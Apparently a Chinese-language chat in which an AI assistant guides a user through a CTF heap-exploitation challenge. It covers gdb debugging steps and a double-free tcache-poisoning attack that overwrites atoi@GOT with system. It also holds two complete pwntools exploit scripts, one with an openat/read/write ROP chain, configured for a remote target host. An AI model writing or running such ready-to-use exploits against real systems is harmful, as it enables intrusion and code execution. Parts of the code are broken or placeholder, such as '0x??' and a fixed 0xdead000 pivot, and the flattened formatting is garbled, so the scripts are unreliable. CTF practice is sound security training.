允许,就把 SYS_open(2)
换 SYS_openat(257)
,rdi=AT_FDCWD(-100),rsi=flag_path,rdx=0。给我 sub_400B5F/400CD5/400C25
的反编译(以及 checksec
一行输出),我就把精确利用步骤 + 真地址 + 完整 exp.py 写好,直接一跑出 flag。
对了我还有一点忘记告诉你了,题目给了靶机地址还有一些补充信息发送给你:x/20gx fs_base+0x300
[Inferior 1 (process 4400) exited normally]
pwndbg> 300
pwndbg> b *0x400e00 + 300
Breakpoint 1 at 0x400f2c
pwndbg> checksec
File: /home/sean/桌面/pwn
Arch: amd64
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
pwndbg> attach pidof pwn
Illegal process-id: pidof pwn
.
pwndbg> maintenance info sections
Exec file: `/home/sean/桌面/pwn', file type elf64-x86-64.
[0] 0x00400190->0x004001b0 at 0x00000190: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS
[1] 0x004001b0->0x004001d4 at 0x000001b0: .note.gnu.build-id ALLOC LOAD READONLY DATA HAS_CONTENTS
[2] 0x004001d8->0x004002c8 at 0x000001d8: .rela.plt ALLOC LOAD READONLY DATA HAS_CONTENTS
[3] 0x004002c8->0x004002e2 at 0x000002c8: .init ALLOC LOAD READONLY CODE HAS_CONTENTS
[4] 0x004002f0->0x00400390 at 0x000002f0: .plt ALLOC LOAD READONLY CODE HAS_CONTENTS
[5] 0x00400390->0x0049efa4 at 0x00000390: .text ALLOC LOAD READONLY CODE HAS_CONTENTS
[6] 0x0049efb0->0x004a14d9 at 0x0009efb0: __libc_freeres_fn ALLOC LOAD READONLY CODE HAS_CONTENTS
[7] 0x004a14e0->0x004a15be at 0x000a14e0: __libc_thread_freeres_fn ALLOC LOAD READONLY CODE HAS_CONTENTS
[8] 0x004a15c0->0x004a15c9 at 0x000a15c0: .fini ALLOC LOAD READONLY CODE HAS_CONTENTS
[9] 0x004a15e0->0x004be8c4 at 0x000a15e0: .rodata ALLOC LOAD READONLY DATA HAS_CONTENTS
[10] 0x004be8c8->0x004be918 at 0x000be8c8: __libc_subfreeres ALLOC LOAD READONLY DATA HAS_CONTENTS
[11] 0x004be918->0x004be920 at 0x000be918: __libc_atexit ALLOC LOAD READONLY DATA HAS_CONTENTS
[12] 0x004be920->0x004be921 at 0x000be920: .stapsdt.base ALLOC LOAD READONLY DATA HAS_CONTENTS
[13] 0x004be928->0x004be930 at 0x000be928: __libc_thread_subfreeres ALLOC LOAD READONLY DATA HAS_CONTENTS
[14] 0x004be930->0x004c9a3c at 0x000be930: .eh_frame ALLOC LOAD READONLY DATA HAS_CONTENTS
[15] 0x004c9a3c->0x004c9aee at 0x000c9a3c: .gcc_except_table ALLOC LOAD READONLY DATA HAS_CONTENTS
[16] 0x006c9eb8->0x006c9ed8 at 0x000c9eb8: .tdata ALLOC LOAD DATA HAS_CONTENTS
[17] 0x006c9ed8->0x006c9f08 at 0x000c9ed8: .tbss ALLOC
[18] 0x006c9ed8->0x006c9ee8 at 0x000c9ed8: .init_array ALLOC LOAD DATA HAS_CONTENTS
[19] 0x006c9ee8->0x006c9ef8 at 0x000c9ee8: .fini_array ALLOC LOAD DATA HAS_CONTENTS
[20] 0x006c9ef8->0x006c9f00 at 0x000c9ef8: .jcr ALLOC LOAD DATA HAS_CONTENTS
[21] 0x006c9f00->0x006c9fe4 at 0x000c9f00: .data.rel.ro ALLOC LOAD DATA HAS_CONTENTS
[22] 0x006c9fe8->0x006c9ff8 at 0x000c9fe8: .got ALLOC LOAD DATA HAS_CONTENTS
[23] 0x006ca000->0x006ca068 at 0x000ca000: .got.plt ALLOC LOAD DATA HAS_CONTENTS
[24] 0x006ca080->0x006cbb50 at 0x000ca080: .data ALLOC LOAD DATA HAS_CONTENTS
[25] 0x006cbb60->0x006cd418 at 0x000cbb50: .bss ALLOC
[26] 0x006cd418->0x006cd448 at 0x000cbb50: __libc_freeres_ptrs ALLOC
[27] 0x00000000->0x00000035 at 0x000cbb50: .comment READONLY HAS_CONTENTS
[28] 0x00000000->0x00000f18 at 0x000cbb88: .note.stapsdt READONLY HAS_CONTENTS
请你重新修改脚本,并且如果需要调试信息你需要具体指导我该怎么做,每一步该怎么执行命令,比如要先run在查看info registers,还有比如要打断点得到地址你都要详细告诉我怎么做,不然我不明白
太好了,有了这些新信息(尤其是 checksec
和段表),我们可以把路线落到“可以按图索骥”的层面了。我给你:
atoi@GOT
→ system("/bin/sh")
(最省事,如果远端 libc 一致或你拿到了远端 libc)。open/read/write
读 /flag
(不依赖 libc,适合不确定 libc 的远端)。你题目的保护:PIE 关、NX 开、无 Canary、Partial RELRO。
这意味着:GOT 可写(Partial RELRO),地址固定(PIE 关),非常适合 tcache 污染写 GOT,或“写 .fini_array / 回调表”。
目标:搞清 1/2/3(add/delete/edit)到底怎么实现、哪里能写出界或 UAF/双 free;再决定“写到哪儿”(GOT/回调/返回地址)和“怎么 pivot”。
bashgdb -q ./pwn # 进入后: set disassemble-next-line on set pagination off set confirm off set print asm-demangle on
bashchecksec # 记下:No PIE / NX enabled / No canary / Partial RELRO
你在 IDA 里已经能看到函数名 sub_400B5F / 400CD5 / 400C25
,它们就是 add / delete / edit。
在 gdb 里直接用地址打断点(IDA 显示的入口地址):
gdb# 根据你的 IDA 视图,逐个打(如果不准,就在附近反汇编确认) b *0x400B5F # add() b *0x400CD5 # delete() b *0x400C25 # edit()
如果不确定入口是否正好落在
push rbp
处,运行到这三个断点后用ni/si
单步,看看行为是否匹配(比如 add 调了 malloc,edit 调了 read/写入)。
gdbrun # 程序会打印菜单,先别输入
1
,程序会命中 b *0x400B5F
(add)断点。gdb# 假设 IDA 里看到 add 内 call malloc@plt 在 0x401234,举例: b *0x401234 c # 继续到 malloc 调用 si # step into 一步,看是否进了 plt finish # 从 malloc 返回到调用点
rax
):gdbinfo reg rax # 记录下 rax,这就是新 chunk 的 user 指针(chunk->data)
chunks[idx] = ptr
),在 add 返回前在 gdb 找到它:
gdbfind 0x0000000000400000, 0x00000000006d0000, <rax的值> # 或者更简单:直接在 .data/.bss 段扫: find 0x006c9f00, 0x006cd418, <rax的值>
x/20gx <数组基址>
,基本就能看到 chunks[0], chunks[1]...
的布局(以及是否还有 sizes[]
)。之后每次 add / delete / edit 都可以
x/20gx
观察数组的变化,确认 UAF / double-free 是否可能。
3
触发 edit,命中 b *0x400C25
。sub_43FCA0
是 read 封装)。给它打断点:gdbb *0x43FCA0 c
rdi=fd/ptr
, rsi=buf
, rdx=len
):gdbinfo registers rdi rsi rdx x/16bx $rsi # 看看已经写了多少
size[idx]
,就能越界),观察相邻 chunk 的元数据/指针是否被你覆盖。如果 edit 对已 free 的块仍然可用,那就是UAF 任意写:先 free 再 edit,直接把 tcache->fd 改到你想写的地址(典型 tcache poisoning)。
2
,命中 b *0x400CD5
,单步看是否有“已经清空指针/置 0”。你贴了段表:
text.got 0x006c9fe8 -> 0x006c9ff8 .got.plt 0x006ca000 -> 0x006ca068 # GOT 可写(Partial RELRO) .init_array 0x006c9ed8 -> 0x006c9ee8 .fini_array 0x006c9ee8 -> 0x006c9ef8 .data/.bss 大量可用
用下面命令列出 GOT 里都有哪些函数(挑目标):
bashobjdump -R ./pwn | sort # 或 readelf -r ./pwn
首选目标:atoi@GOT
(菜单每次都用),free@GOT
、puts@GOT
、printf@GOT
等。
atoi@GOT
为 system
→ 输入 /bin/sh
拿 shell优点:最短路径。
前提:拿到 libc 基址(或远端给了 libc),算出 system
。
做法概述:
fd
改成 &atoi@GOT - 0x10
(注意 -0x10 让下一次 malloc(size)
返回 atoi@GOT
的写地址)。malloc(size)
两次,第二次拿到 atoi@GOT
的“伪 chunk”,往里写 system
的地址。atoi(buf)
,但 GOT 已变成 system(buf)
,于是你输入 /bin/sh
即可。如何在本地拿 libc 基址?
最直接:程序一启动就会 puts
菜单,此时 puts@GOT
已解析。
在 gdb:
gdbrun # 看到菜单停住 x/gx 0x006ca000 + OFFSET_PUTS_GOT # 用 objdump -R 查 puts@GOT 的精确偏移 # 读出的值就是 puts 的实际地址 → 减去本机 libc 的 puts 偏移 = libc base # system = libc_base + system_offset
远端通常提供同版 libc 文件(或 docker)。否则,考虑路线 B(不用 libc)。
优点:** 不需要 libc**,只用程序里的 gadget 与 syscall
。
常见选择:覆盖一个“会被调用”的 GOT 项(比如 atoi@GOT
或 puts@GOT
),改成 xchg rsp, rdx ; ret
/ mov rsp, rax ; ret
等 pivot 指令,然后想办法让对应寄存器(rdx/rax
)事先等于我们在堆上的 fake stack 地址。
rdx/rax = pivot
?
read(fd, buf, len)
的 len
正好是你可控的,那就在调用该函数之前把 atoi@GOT
改成 xchg rsp, rdx ; ret
,这样“调用 atoi(buf)”这条路径会被你替换成 pivot,并用 rdx=len
完成切栈。pop rdi/rsi/rdx/rax; syscall; ret
:
openat(AT_FDCWD, "/flag", 0)
(syscall 号 257;有些 seccomp 不允许 open(2)
,但允许 openat
);read(fd, heap_buf, 0x100)
;write(1, heap_buf, 0x100)
。你只需要把菜单交互的提示字符串和触发 tcache 污染的具体细节改成你题目的实际情况(我在注释里写清楚了要改哪里)。
如果你拿到了远端 libc,就用 MODE='A';否则用 MODE='B'(纯 syscall 读 flag)。
pythonfrom pwn import * context.binary = elf = ELF('./pwn', checksec=False) # context.log_level = 'debug' HOST, PORT = 'target.host.or.ip', 31337 # ← 把远端填上 MODE = 'B' # 'A' = atoi@GOT -> system; 'B' = pivot + syscalls # ---------------- Menus (根据你的题目实际提示改!) ---------------- def menu_choice(p, n): p.sendlineafter(b'Your choice:\n', str(n).encode()) def add(p, idx, size, data=b''): menu_choice(p, 1) p.sendlineafter(b'idx:', str(idx).encode()) # 如果没有 idx 提示,就删掉这一行 p.sendlineafter(b'size:', str(size).encode()) if data: p.sendafter(b'data:', data) def delete(p, idx): menu_choice(p, 2) p.sendlineafter(b'idx:', str(idx).encode()) def edit(p, idx, data): menu_choice(p, 3) p.sendlineafter(b'idx:', str(idx).encode()) p.sendafter(b'data:', data) def bye(p): menu_choice(p, 4) # ---------------- Gadgets (自动搜) ---------------- def get_gadgets(): rop = ROP(elf) g = {} def find_one(pattern): try: return rop.find_gadget(pattern).address except: return None g['pop_rax'] = find_one(['pop rax', 'ret']) g['pop_rdi'] = find_one(['pop rdi', 'ret']) g['pop_rsi'] = find_one(['pop rsi', 'ret']) g['pop_rdx'] = find_one(['pop rdx', 'ret']) g['syscall'] = find_one(['syscall', 'ret']) # 常见 pivot 备选 g['xchg_rsp_rdx'] = None for pat in (['xchg rsp, rdx', 'ret'], ['xchg rdx, rsp', 'ret'], ['mov rsp, rax', 'ret'], ['leave', 'ret']): addr = find_one(pat) if addr: g['xchg_rsp_rdx'] = addr break return g def build_rop_syscalls(pivot, g, flag_path_addr, buf_addr): rop = b'' # openat(AT_FDCWD=-100, path, 0) rop += p64(g['pop_rax']) + p64(257) # SYS_openat rop += p64(g['pop_rdi']) + p64(-100 & 0xffffffffffffffff) # AT_FDCWD rop += p64(g['pop_rsi']) + p64(flag_path_addr) rop += p64(g['pop_rdx']) + p64(0) # O_RDONLY rop += p64(g['syscall']) # read(rax, buf, 0x100) (保存 fd 到 rdi 比较麻烦,用固定 3 也行;更稳可找 'mov rdi, rax' gadget) rop += p64(g['pop_rdi']) + p64(3) # 许多环境 openat 返回 3;如不稳可增加 'mov rdi, rax' rop += p64(g['pop_rsi']) + p64(buf_addr) rop += p64(g['pop_rdx']) + p64(0x100) rop += p64(g['pop_rax']) + p64(0) # SYS_read rop += p64(g['syscall']) # write(1, buf, 0x100) rop += p64(g['pop_rdi']) + p64(1) rop += p64(g['pop_rsi']) + p64(buf_addr) rop += p64(g['pop_rdx']) + p64(0x100) rop += p64(g['pop_rax']) + p64(1) # SYS_write rop += p64(g['syscall']) # exit(0) rop += p64(g['pop_rax']) + p64(60) rop += p64(g['pop_rdi']) + p64(0) rop += p64(g['syscall']) return rop def solve(local=True): io = process(elf.path) if local else remote(HOST, PORT) g = get_gadgets() log.info(f"gadgets: {g}") # ====== 选择一个 tcache 尺寸(例如 0x80)并做 tcache dup/poison ====== TC_SZ = 0x80 # 下面的序列是假设:存在 UAF 或 double-free # 你需要根据实际菜单行为确认(见调试步骤) add(io, 0, TC_SZ, b'A'*8) # chunk A add(io, 1, TC_SZ, b'B'*8) # chunk B delete(io, 0) delete(io, 0) # 如果允许:double free → tcache dup # 若不允许 double free,但允许 edit free 后的内存 → 先 delete(0),然后 edit(0, payload) 直接改 fd # 目标一:A 跳到我们想写的地址(GOT/函数指针等)- 0x10 # 方式 A:atoi@GOT -> system # 方式 B:atoi@GOT -> pivot gadget atoi_got = elf.got.get('atoi') # 如果没符号,这里会是 None;那就用 `objdump -R` 查到地址手填 if not atoi_got: atoi_got = 0x006ca000 + 0x?? # ← 用 `objdump -R ./pwn | grep atoi` 的偏移填上 if MODE == 'A': # 需要先算 system libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) # ← 若远端给了 libc,用远端 libc # “菜单打印用 puts”,所以 puts@GOT 已解析;直接泄露: io.recvuntil(b'Your choice:\n') # 本地直接读 GOT 也行(但远端不行),更稳的做法:构造一次“打印 puts@GOT”的功能(看题目是否有 show) # 这里先走“本地从进程内存读 GOT”的近路:调试里拿到 puts@GOT(脚本里没法直接 x/gx) # 所以在 A 路线你最好先用 gdb 得到 puts 实际地址 → 算 libc_base → system # 这里留个占位: puts_got = elf.got['puts'] log.warning("A 路线:请先在 gdb 里运行到菜单,再用 `x/gx <puts@GOT>` 读到 puts 实际地址,手动填到这里") real_puts = int(input("输入你在 gdb 里读到的 puts 实际地址(16进制,比如 0x7f...): "), 16) libc_base = real_puts - libc.symbols['puts'] system = libc_base + libc.symbols['system'] log.success(f"libc_base={hex(libc_base)}, system={hex(system)}") # 做 tcache poisoning,令下一次 malloc 返回 atoi@GOT fake_fd = p64(atoi_got - 0x10) add(io, 2, TC_SZ, fake_fd) # 拿回 A(第一次出链),把 fd 指向目标 add(io, 3, TC_SZ, b'C') # 占位(第二次出链) add(io, 4, TC_SZ, p64(system)) # 第三次:返回 atoi@GOT,写成 system 地址 # 触发:输入 /bin/sh(程序会再次调用 atoi 解析菜单) io.sendline(b'/bin/sh') io.interactive() else: # MODE == 'B':pivot + syscalls,完全不依赖 libc pivot_addr = 0xdead000 # 你可以:先多 malloc 几次、用 gdb 记录某个稳定堆地址填这里 flag_addr = pivot_addr + 0x300 buf_addr = pivot_addr + 0x400 rop = build_rop_syscalls(pivot_addr, g, flag_addr, buf_addr) fake_stack = rop.ljust(0x300, b'\x00') + b'/flag\x00' # 先分配一块承载 fake stack 的大块(不走 tcache,小/大块都行) add(io, 5, len(fake_stack), fake_stack) # 做 tcache poisoning:让下一次 malloc 直接返回 atoi@GOT fake_fd = p64(atoi_got - 0x10) add(io, 2, TC_SZ, fake_fd) # 拿回 A,写 fd add(io, 3, TC_SZ, b'C') # 占位 # 第三次 malloc 命中 atoi@GOT,写成 pivot gadget 地址 pivot_gadget = g['xchg_rsp_rdx'] or g['syscall'] # 优先 xchg rsp,rdx; ret;没有就另想(你也可在 ROPgadget 手动搜) add(io, 4, TC_SZ, p64(pivot_gadget)) # 关键:在“即将调用 atoi”之前让 rdx = pivot_addr # 简化方案:如果 edit 的实现会把“读入长度”放进 rdx(通过 read 封装), # 就在调用 atoi 前,先执行一次 edit,把长度参数(rdx)设置为 pivot_addr。 # 这部分要结合你实际的 edit 代码路径来摆放顺序。 # 例如(占位演示): edit(io, 0, b'A' * 8) # 这里不重要,只是为了让程序走到一次调用 read/atoi 的路径 # 现在回到菜单,程序将要再次 atoi(v1) 解析输入; # 由于 atoi@GOT == pivot_gadget 且 rdx==pivot_addr,调用会命中 pivot → RSP=pivot → 执行堆 ROP。 io.sendline(b'1') # 随便输入让它去“atoi(输入)”——真正起作用的是我们劫持的 GOT # 如果 ROP 执行成功,这里应该直接打印 flag io.interactive() if __name__ == '__main__': # 本地调试 True;连远端 False solve(local=True)
说明:
- tcache 污染的 3 次分配是套路:“第一次取回 A 并写 fd → 第二次取占位 → 第三次拿到目标地址写值”。
atoi@GOT
的地址请用objdump -R ./pwn | grep atoi
确认;脚本里可以直接elf.got['atoi']
拿(若符号在)。- 路线 B 的“rdx = pivot_addr”一定要结合你的真实 edit/read 参数传递去安排时机(在调用 atoi 之前,让
rdx
已经被设置成 pivot)。如果找不到用rdx
的 pivot,你可以用 ROPgadget 再找找mov rsp, rax ; ret
、leave ; ret
等替代,然后想办法把对应寄存器设为 pivot。- 堆上 ROP 仅用
syscall
,避免依赖 libc;openat
号是 257,AT_FDCWD=-100**(注意 64 位需要
& 0xffffffffffffffff`)**。
bashROPgadget --binary ./pwn --only "syscall" | head
bashROPgadget --binary ./pwn --only "xchg|mov|leave|ret" | egrep "rsp|esp" | head -n 20
gdbrun # 到菜单停下后: !objdump -R ./pwn | grep puts x/gx 0x006ca000+<puts@GOT偏移> # 这就是 puts 的实际地址(libc),拿去算 libc_base / system
gdbtcache heap bins vis_heap
gdbx/64gx 0xdead000 # 用你选的 pivot_addr
atoi@GOT
(最爽),或者 .fini_array
(退出时调用),或者程序里某个回调。atoi@GOT -> system
),最简单;atoi@GOT
精确地址(或 elf.got['atoi']
);system
;pivot_addr
选一个你能稳定分配的堆地址(按第 4 步拿到的 malloc 返回地址来填),并**落实“rdx/rax 设为 pivot”**的那一步(靠 edit/read 的参数传递来做)。如果你把 sub_400B5F / 400CD5 / 400C25
的反编译贴出来(或者告诉我“能否 edit 已释放块 / 有没有 double-free / edit 写长度怎么取的”),我就把上面的占位步骤替换成你这题的精准堆风水步骤,把 pivot_gadget
/ atoi@GOT
/ puts@GOT
的确切地址(基于你这份二进制)也一并填上,给你一份一跑就出 flag的完整 exp.py
。
太给力!你这份 pwn.txt
里已经把交互逻辑、漏洞点都“露馅”了。我把漏洞结论先说清楚,然后给你一步一步的 GDB 操作指令,最后是一份可直接改的 exp(pwntools)。照做即可,即使你没学过 pwn 也能跑通 👍
1.add
→ sub_400B5F()
:固定申请 256 字节(每个 idx
),把输入写进新块,然后把指针存到 qword_6CCD60[idx]
。2.delete
→ sub_400CD5()
:直接 free(qword_6CCD60[idx])
,但不清空指针 → 可双重释放(double free)与 UAF。3.edit
→ sub_400C25()
(文件没给出,但不影响我们利用)。sub_43FCA0(read)
读到栈里,然后 sub_40E180
把字符串转 int(基本就是 atoi
)。保护:No PIE
、NX enabled
、No canary
、Partial RELRO
(GOT 可写)。
→ 走典型 tcache double free 污染,把下次 malloc
指到 atoi@GOT
,再把它改写成我们想要的地址。
最稳解法(推荐):tcache 污染 → 改 atoi@GOT
→ 直接 system("/bin/sh")
出 shell
atoi@GOT
改成 system
,你在菜单里输入 /bin/sh
就能起 shell。system
的真实地址(用本地/远端 libc
计算:libc_base + system@libc
)。libc.so.6
(或 docker),或者关闭了 ASLR。如果远端没给 libc、又开了 ASLR,这题就需要额外 leak,当前二进制并不友好;我下面给出两种分支做法。目标:确认 double free 可行、记录堆块地址、确定
atoi@GOT
/malloc@GOT
等地址,并算出system
,最后跑本地 exp。
gdbgdb -q ./pwn set disassemble-next-line on set pagination off set confirm off
gdbb *0x400B5F # add() b *0x400CD5 # delete() b *0x43FCA0 # read 封装:看 rdi/rsi/rdx(fd/buf/len)
你在文本里已经验证过寄存器现场:
sub_43FCA0
是read
的薄封装(syscall <SYS_read>
),rsi
=缓冲区,rdx
=长度(菜单里 16)。
gdbrun # 程序打印菜单 # 这里输入:1<回车> → 触发 add 断点
add
里,会 malloc(256)
,然后再 read(256)
写满内容,并把指针存进 qword_6CCD60[idx]
。gdb# 继续程序,按提示输入: # idx: 0 # data: AAAA c # 回到菜单,再输入:2(delete) # idx: 0 c # 再来一次 delete 相同 idx(double free): # 输入:2 # idx: 0 c
qword_6CCD60[idx]
,同一个 idx 可重复 free → tcache dup/poison 的大门打开。提示:装了 pwndbg 的话可以随时
tcache
看 tcache 里 0x110(256+0x10 头)这个 bin 的链表情况。
在另一个终端(不在 gdb 里):
bashreadelf -r ./pwn | egrep 'atoi|puts|printf|free|malloc' # 记下 atoi@GOT 的绝对地址(No PIE → 固定) objdump -D ./pwn | grep -A2 '<printf@plt>' # 记下 printf@plt 的地址(用于测试/备用)
注意:我们最终要写入 atoi@GOT = system
,所以还得知道 system
真地址。
思路:在程序首次调用 malloc
之后,malloc@GOT
会被解析为 glibc 里的真实地址。我们可用它来算 libc_base
。
做法:
add
(会调用 malloc):
gdbrun # 输入:1 → add # idx: 0 # data: AAAA c
malloc@GOT
:
gdb# 用 readelf -r 刚才拿到的 malloc@GOT 地址,举例 0x006ca018(按你的输出可以看到 .got.plt 从 0x006ca000 开始) x/gx 0x006ca018 # 记下打印出来的 8 字节值(就是 glibc 中的 malloc 实际地址)
/lib/x86_64-linux-gnu/libc.so.6
;远端要用远端提供的 libc):
textlibc_base = real_malloc - offset_malloc_in_libc system = libc_base + offset_system_in_libc
real_malloc
粘进去)。atoi@GOT = system
→ 输入 /bin/sh
出 shelltcache poison 的标准 6 步(每个块大小都是 256,不影响套路):
add(0)
→ 得到 Adelete(0)
→ 释放 Adelete(0)
→ double free Aadd(1)
→ 取回 A(第1次),把 A 的 user 区前 8 字节写成 atoi@GOT - 0x10
(这是 tcache 的“fd” 指针)add(2)
→ 再次取回 A(第2次)add(3)
→ 这次 malloc
会返回指向 atoi@GOT
的“伪块”,把 system
地址写进去然后回到菜单,输入:
/bin/sh
由于 atoi@GOT == system
,程序会调用 system("/bin/sh")
,你就拿到 shell,直接 cat flag
。
如果你担心一步到位先测不成功,可以先把
atoi@GOT
写成printf@plt
做个“无害验证”(菜单里随便输入字符串,它会被printf
打印出来),再重走一次 tcache 污染把它改成system
。
- 远端 IP/端口(如有)
- 你的
atoi@GOT
地址(readelf -r
得)- 本地调试时把 gdb 里读到的
real_malloc
粘到输入里(脚本会算system
);远端时把libc_path
改成题目给的 libc
pythonfrom pwn import * context.binary = elf = ELF('./pwn', checksec=False) # context.log_level = 'debug' HOST, PORT = '127.0.0.1', 12345 # 改成远端 USE_REMOTE = False # 远端就 True # ========== 1) GOT/PLT 地址 ========== atoi_got = elf.got.get('atoi') printf_plt = elf.plt.get('printf') malloc_got = elf.got.get('malloc') log.info(f'atoi@GOT = {hex(atoi_got)}') log.info(f'printf@plt = {hex(printf_plt)}') log.info(f'malloc@GOT = {hex(malloc_got)}') # ========== 2) 菜单交互 ========== def choice(io, n): io.sendlineafter(b'Your choice:\n', str(n).encode()) def do_add(io, idx, size, data): choice(io, 1) io.sendlineafter(b'idx:', str(idx).encode()) io.sendlineafter(b'what do you want to say\n', str(size).encode(), timeout=0.1) # 有的题不会要 size,这行按需要删 io.sendafter(b'', data) def add(io, idx, data): choice(io, 1) io.sendlineafter(b'idx:', str(idx).encode()) io.sendafter(b'what do you want to say\n', data) def delete(io, idx): choice(io, 2) io.sendlineafter(b'idx:', str(idx).encode()) def edit(io, idx, data=b'X'): # 如果确实有 edit choice(io, 3) io.sendlineafter(b'idx:', str(idx).encode()) io.sendafter(b'data:', data) # ========== 3) 计算 system ========== def compute_system_from_real_malloc(real_malloc, libc_path='/lib/x86_64-linux-gnu/libc.so.6'): libc = ELF(libc_path, checksec=False) libc_base = real_malloc - libc.symbols['malloc'] system = libc_base + libc.symbols['system'] log.success(f'libc_base = {hex(libc_base)}') log.success(f'system = {hex(system)}') return system def get_io(): return remote(HOST, PORT) if USE_REMOTE else process(elf.path) def solve(): io = get_io() # —— 本地(或远端已知 libc 且已泄露一次)先求 system —— # # 让程序先调用一次 malloc(add 一下),再在 gdb 里读 malloc@GOT 的真实值,填到这里: if not USE_REMOTE: # 触发一次 malloc:随便 add 一下 add(io, 0, b'AAAA\n') # 暂停,让你去 gdb 里读 malloc@GOT log.warning("现在在另一个终端开 gdb,attach 这个进程,读取 malloc@GOT 的值:") log.warning(f" gdb -q -p {io.pid}") log.warning(f" x/gx {hex(malloc_got)}") real_malloc = int(input("粘贴 gdb 读到的 malloc 实际地址(16进制,如 0x7f...): "), 16) system = compute_system_from_real_malloc(real_malloc) else: # 远端:如果题目给了 libc.so.6 路径,就把上面逻辑换成“先泄露再算”;这里先留占位—— # 假设 remote 关闭 ASLR(新手赛常见),你可直接用本地测出的 system system = int(input("远端 system 地址(若远端 ASLR 关闭可用本地测得的)(hex): "), 16) # —— tcache poison:把 atoi@GOT 写成 system —— # # 1) 准备 double free add(io, 0, b'AAAA\n') delete(io, 0) delete(io, 0) # double free # 2) 第一次取回,写 fd = (atoi@GOT - 0x10) add(io, 1, p64(atoi_got - 0x10) + b'\n') # 注意:行末加换行,避免残留读不到 # 3) 第二次取回(占位) add(io, 2, b'BBBB\n') # 4) 第三次取回 —— 返回到 atoi@GOT 处(伪 chunk) add(io, 3, p64(system) + b'\n') # 8 字节写入 GOT log.success("atoi@GOT 已被写成 system") # —— 触发 —— # io.sendline(b'/bin/sh') io.interactive() if __name__ == '__main__': solve()
你只需要改:
HOST/PORT
(远端)atoi_got
如果 elf.got['atoi']
拿不到(极少数 strip 情况),就用 readelf -r
的值手填system
:本地用上面提示,在 gdb 里 x/gx malloc@GOT
,粘进去让脚本自动算;远端用题目给的 libc 先在本地算好,或在远端先泄露一次(如果赛题允许)开两个终端:
USE_REMOTE=False
)bashgdb -q -p $(pidof pwn) x/gx 0x006ca018 # 用你的 malloc@GOT
把读到的地址粘回 exp,脚本会自动算出 system
并继续跑。
exp 会完成 double free → tcache poison → 覆写 atoi@GOT
→ 送 /bin/sh
→ 拿到 shell。
本地成功后,把 USE_REMOTE=True
,把 HOST/PORT
换成题目给的。
compute_system_from_real_malloc
用这份 libc 算出 system
的偏移;远端若关闭 ASLR,用本地一次调试得出的 libc_base
可以沿用(或现场让脚本问你粘贴 system
绝对地址)。printf-leak
不友好,会导致退出)。一般 CTF 不会卡你在这里——大概率会给 libc/或关 ASLR/或题解线路是 ret2libc 直接跑。在 pwndbg 里:
gdbtcache heap bins vis_heap
可以看到 0x110 这个 bin 的链表头、fd 指针是否被你改写成 atoi@GOT - 0x10
。
malloc(256)
,把返回指针塞到 qword_6CCD60[idx]
,然后用 read(256)
把你输入写进块里。free(qword_6CCD60[idx])
后不置空 → 可对同一 idx
连续 free 两次(double free),进而 tcache dup。atoi
(sub_40E180
),因此把 atoi@GOT
改成 system
后,你输入 /bin/sh
就是 system("/bin/sh")
。如果你愿意,再把 sub_400C25
(edit) 的伪代码也贴出来,我可以把 exp 再根据它的输入提示做地毯式“对齐”,以及补上“若远端要求先触发一次 malloc 再读取 GOT”等微调细节。祝你一发入魂拿 flag!